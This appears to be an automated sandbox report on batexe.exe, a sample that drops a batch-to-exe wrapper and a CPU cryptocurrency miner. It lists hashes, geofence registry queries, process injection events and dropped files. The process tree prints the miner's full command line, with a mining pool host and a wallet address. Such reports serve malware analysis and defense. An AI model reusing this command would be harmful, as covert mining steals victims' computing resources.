73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 11:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
batexe.exe
Size 9.4MB
Sample240212-nl7ltaca6v
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4672	b2e.exe
5108	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5108	cpuminer-sse2.exe
5108	cpuminer-sse2.exe
5108	cpuminer-sse2.exe
5108	cpuminer-sse2.exe
5108	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/456-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 456 wrote to memory of 4672	456	batexe.exe	84
PID 456 wrote to memory of 4672	456	batexe.exe	84
PID 456 wrote to memory of 4672	456	batexe.exe	84
PID 4672 wrote to memory of 1592	4672	b2e.exe	85
PID 4672 wrote to memory of 1592	4672	b2e.exe	85
PID 4672 wrote to memory of 1592	4672	b2e.exe	85
PID 1592 wrote to memory of 5108	1592	cmd.exe	88
PID 1592 wrote to memory of 5108	1592	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:456
- C:\Users\Admin\AppData\Local\Temp\A122.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A122.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A122.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AC4D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1592
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\A122.tmp\b2e.exe
Size 18.4MB
SHA256 566437956d8d0a9b9ad059ae85944491d1be7e3aa6d3e0b46de934bd905ce989
MD5 1da23d92b4c762b74ea840cab93fe646
SHA1 f922d03e221325e7c3e642ddb2a3291f6ce21c66
SHA512 070dd04bf4b5522fc9807e89398fa003fc33ddba3faea88eaf564fbbd56008f568c485967a3906758a9c5b71dd2783ba50b0c3c2883865b5b6202573a3f78213
SSDEEP 98304:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9Ck6jBVFh0ulRm6eqdInEgNf/4+eQhyYlkBP:wWrJQ9CuKdIncRBGvwPHD/bfOqjJjMri
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\A122.tmp\b2e.exe
Size 2.4MB
SHA256 5143fc3449d84ea5cf510321dc92e2e28e68385863a6b07da646a406b53a875e
MD5 000f75482a8f3c361e1ef9b58a16ee5f
SHA1 4e67fd460b9fa59dc5c1147833ad2f40f94d0279
SHA512 fe72c633e123cea33c480746a4534fe6228f2c1f6184edbc75c144a201fb556ba0d68415c2abaa9c844a39bb900300f24476e38a4e13825829da54d629eaf152
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJGq:2Vh7J/WrocAdkmR
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\A122.tmp\b2e.exe
Size 2.6MB
SHA256 841b8431f27f5e631d37c605530e6ce5430559c96fa9a6ddebc7e9dd63ad04b2
MD5 f845d6b8c0beb43591f7ebc96344f81b
SHA1 5bcb9d96f6589b559060e11d6d5a0bf73d91c80e
SHA512 8de293211ad14117c9ecb797c78c738c91b691f3dc861401d537cc72c9ba05a40340c452938bd6d72bf400efa1fffb7bb387f204035697b8a229a29288d5d357
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9X:2Vh7J/WrocAdkmBtKX
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\AC4D.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 512KB
SHA256 3ee76359d6802a8fe11c5b144e18ffd3833bc7b49d66f190621d41e41ea0fc20
MD5 a879c5fd4613dca566d5b1a782690dd5
SHA1 41c6063b0f0dee953e99713a5326856b55e08366
SHA512 e20f8f40822ca215c75767b8d4102583cfb3812c74dbc064a8619f214c164ab94da6bee0ae42c794a0af1847ff30c295b34d3015f87bfe597dba80339871ea96
SSDEEP 12288:WRtMPAkXZ9Zeql/DZoq/Qphj2XVgQ7N/TiojFZi9lGbZGh8:WbAAkXZfeqVZoq/QpmN/TDjzsh8
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 448KB
SHA256 13fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8
MD5 19a61444b6e2d01755ede80960bca19c
SHA1 e0c7222784d3e2b3329ec3280648b17fd60ef209
SHA512 bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9
SSDEEP 6144:G6l05RRx7sVReffLoF62FryGLi21TdLN7/Gb4hoYn9sg:xup7YufLe62F2G1TdLN7/g4hHV
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 836KB
SHA256 218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
MD5 aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA1 5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA512 c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
SSDEEP 24576:xufMF9VdLNrjhHdLI8cUlOb1w4yYhJWOrXQB:cfMFhBr19LI87lOb1w4IOrXQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 384KB
SHA256 47881756cdfcb302e63efb2016c122a1bb61574d81186275aef3d5a9fb72b84b
MD5 b91f7bb5508b343188ec32dcc7880611
SHA1 fe2ae7ba4a1bbb2a5df7b73f21a0b8fc745cc11f
SHA512 a5b91bc653cbf28219b6f169d5d849fb53eced9a932b8edf468c9092544795ee8120d5c76f0c45f27b7a2464c328f5bffcabf3e83d2e7236263ea930cf92eea0
SSDEEP 6144:O681EOnYxmMbMQr6mWfv1Jfv1Vfv1Hfv1Ofv1hfv1Yfv1vw6t5O07fv1P7jhO7j7:ynYk4yH15191n1q1x1c1vw6t8a1/hKh5
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 320KB
SHA256 2c9d6315f90367b959d3c32badd99bbc03eb808e4a46db72ccf2e81788b41533
MD5 e63bf5df87e2ea807dc353cc5aa9aab1
SHA1 69fc94bbebe878711cb133c3a1affb80c0bdecff
SHA512 70f2b2a8a4c8ab23d81266cd23b75c27ced29a1eab8c80d95c57b595b10254b7229cc03b637716edbfad2a83827f2c557847b98d1de80256beec05c9512ee4bd
SSDEEP 6144:O681EOnYxmMbMQr6mWfv1Jfv1Vfv1Hfv1Ofv1hfv1Yfv1vw6t5O07fv1P7jhO7jb:ynYk4yH15191n1q1x1c1vw6t8a1/hKhV
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 384KB
SHA256 86df790940bd442466ea58a434a31aaaadd1d23a9e9bf5e6fe625ff49049d620
MD5 4cb3a8d3af58faf78da4dd33a03029db
SHA1 5356e4fb04a7047f6fc82a4e071e4803f97a0f3d
SHA512 244237f4a13a7666e9f9592451dbb8bb18ca1f828d66f97e2890fa8f6be690d8890848102a8be253542c9f4b154d9f0e1aeeee5a867c866b78b64f9949f48c89
SSDEEP 6144:qKRa5s+G7mCiqxo2LhDX9mKm1xWQzyAyMxYATdriIvhFm:9Rgs+Gatqxo2LvmKmOmVriIvho
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 256KB
SHA256 1493703a430c68bdcedcb4078486daca39a02820199e7b72017c7b1af66e1c8d
MD5 1d86b9560854472453237bcbaa2e253f
SHA1 5a03a7902d250377a3e9f746badcb696e2c98228
SHA512 afbc3d7f8e06e41db25d666999f4d162af7054a66b17a651ac8a7f092f83580a067bfa2f558be65ace5966dffaa8735fe7a579e88bf42b34eaa3e72cdec96699
SSDEEP 3072:OEOWd4lAhRoZuXCFUf2yaYuT4V+Gk3UmCQoUxKN3Kbso2Qo1B2JmDX9mKmxMGx8p:qKRa5s+G7mCiqxo2LhDX9mKm1xWQzyj
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 320KB
SHA256 b63980c9d592a6d0d8521f74bd4c6f7cc4ae5f8c3320d2bd63764c56648ac45f
MD5 1ae43cc09627ff82d15527ea2693fd76
SHA1 c39ffa1a4b80c29fa1f5caed3e7d091253266c66
SHA512 21945e4e2fad3ee2b2a19d19bbbc1ada832c33a0d3bf499d6ac8f093b39021323ea0f7df3d54167a3456cbaf01ff126a6e6abbe17dd4eb8d5a24ca000888c271
SSDEEP 6144:g9rAim3YMr6mjmrYGf4qt2zQi/XaWqDqLrwGjqlK+Ge4e+2OliKpKCkZ2cny+6Fz:IrAim3Y9lrzf34z//KRwwtkIr1PznEc0
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 384KB
SHA256 4e4d7ecae87e8e656c61af89ef17146baf33fbf09ffbde6ae971d04e8e8f9222
MD5 eec15153c344f43f1919cb379b9ee2f9
SHA1 3e4a09390ac885ea2797209603bcfa1ec6ff0cc6
SHA512 7cdf3552341d14979838f8fedf9ac63482152f193ab8f7e0af281ec50b2a43312d78c0e22e79989818c5041538fa69769350e1e6cf0789a165be1eb11ee29908
SSDEEP 6144:g9rAim3YMr6mjmrYGf4qt2zQi/XaWqDqLrwGjqlK+Ge4e+2OliKpKCkZ2cny+6F9:IrAim3Y9lrzf34z//KRwwtkIr1PznEc2
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/456-9-0x0000000000400000-0x000000000393A000-memory.dmp

Download

memory/4672-8-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/4672-58-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/5108-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Download

memory/5108-69-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-46-0x000000006D880000-0x000000006D918000-memory.dmp

Download

memory/5108-47-0x0000000001150000-0x0000000002A05000-memory.dmp

Download

memory/5108-48-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-53-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-43-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-59-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-64-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-45-0x0000000061440000-0x000000006156B000-memory.dmp

Download

memory/5108-74-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-79-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-84-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-89-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-94-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-99-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/5108-104-0x0000000000400000-0x0000000000667000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads